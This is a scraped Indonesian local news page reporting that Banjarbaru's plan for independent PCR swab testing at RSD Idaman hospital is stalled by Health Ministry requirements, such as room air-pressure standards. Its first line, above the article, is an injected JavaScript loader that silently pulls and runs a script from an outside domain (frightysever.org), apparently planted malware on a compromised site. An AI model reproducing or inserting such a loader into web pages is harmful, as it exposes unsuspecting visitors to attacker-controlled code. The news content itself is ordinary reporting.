(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

Rencana Swab Test Mandiri di RSD Idaman Banjarbaru Terbentur SOP


KANALKALIMANTAN.COM, BANJARBARU – Seperti yang diketahui bahwa pemeriksaan swab melalui metode polymerase chain reaction (PCR) di Provinsi Kalimantan Selatan hanya terpusat di Laboratorium Balai Besar Teknik Kesehatan Lingkungan dan Pengendalian Penyakit (BBTKL-PP) Banjarbaru.

Mengingat ribuan sampel masyarakat dari berbagai daerah yang harus diuji, perlu waktu lama untuk memastikan positif tidaknya seseorang terpapar Covid-19. Hal ini pula, yang membuat upaya tim Gugus Tugas daerah juga terbatas.

Merujuk pada persoalan ini, Pemerintah Kota (Pemko) Banjarbaru mewacanakan pemeriksaan swab mandiri. Dalam hal ini fasilitas kesehatan yang paling berpotensi untuk melakukan pemeriksaan swab ialah Rumah Sakit Daerah (RSD) Idaman Banjarbaru.

Hanya saja, wacana ini belum bisa dipastikan terealisasi. Pasalnya, Pemko Banjarbaru harus mendapat persetujuan dari Kementrian Kesehatan (Kemenkes) RI. Tentunya ada berbagai syarat khusus yang harus dipenuhi. Contohnya fasilitas di RSD Idaman Banjarbaru harus sesuai Standar Operasi Prosedur (SOP).

Diungkapkan Kepala Dinas Kesehatan Banjarbaru Rizana Mirza, ada satu fasilitas di RSD Idaman yang tidak memenuhi SOP untuk melakukan pemeriksaan swab. Yakni, standarisasi tekanan udara ruangan.

“Memang syarat ini agak berat. Tapi ini syarat ini yang sudah ditetapkan Kemenkes. Kalau sekarang kita belum punya kriteria ruangan seperti itu, makanya masih kita wacanakan,” katanya.

Sedangkan jika syarat dari aspek sumber daya manusia (SDM) di RSD Idaman, Rizana mengatakan hal itu masih bisa dipenuhi. Dalam hal ini pihaknya akan meminta bantuan dengan pihak BBTKL-PP Banjarbaru.

“Kalau soal aspek sumber daya manusia di RSD Idaman, kita bisa meminta pembinaan dari BBTKL-PP. Soalnya petugas mereka sudah berpengalaman dalam pengujian swab,” kata Rizana.

Munculnya wacana pemeriksaan swab di RSD Idaman ini, kata Rizana, berawal saat adanya tawaran dari pihak swasta untuk berpartisipasi dalam pembuatan fasilitas tes uji PCR. Namun, tetap saja perlu proses dan waktu yang cukup panjang.

“Ya, tetap saja kita wacanakan karena kan nantinya fasilitas ini pasti tetap diperlukan. Kita juga mau membentuk UPT Labkes juga ke depannya, semoga tahun depan terwujud,” harapnya. (kanalkalimantan.com/rico)

Reporter : rico
Editor : bie

 


Al Ghifari

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

2 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

5 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

5 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

7 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

9 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

10 jam ago

This website uses cookies.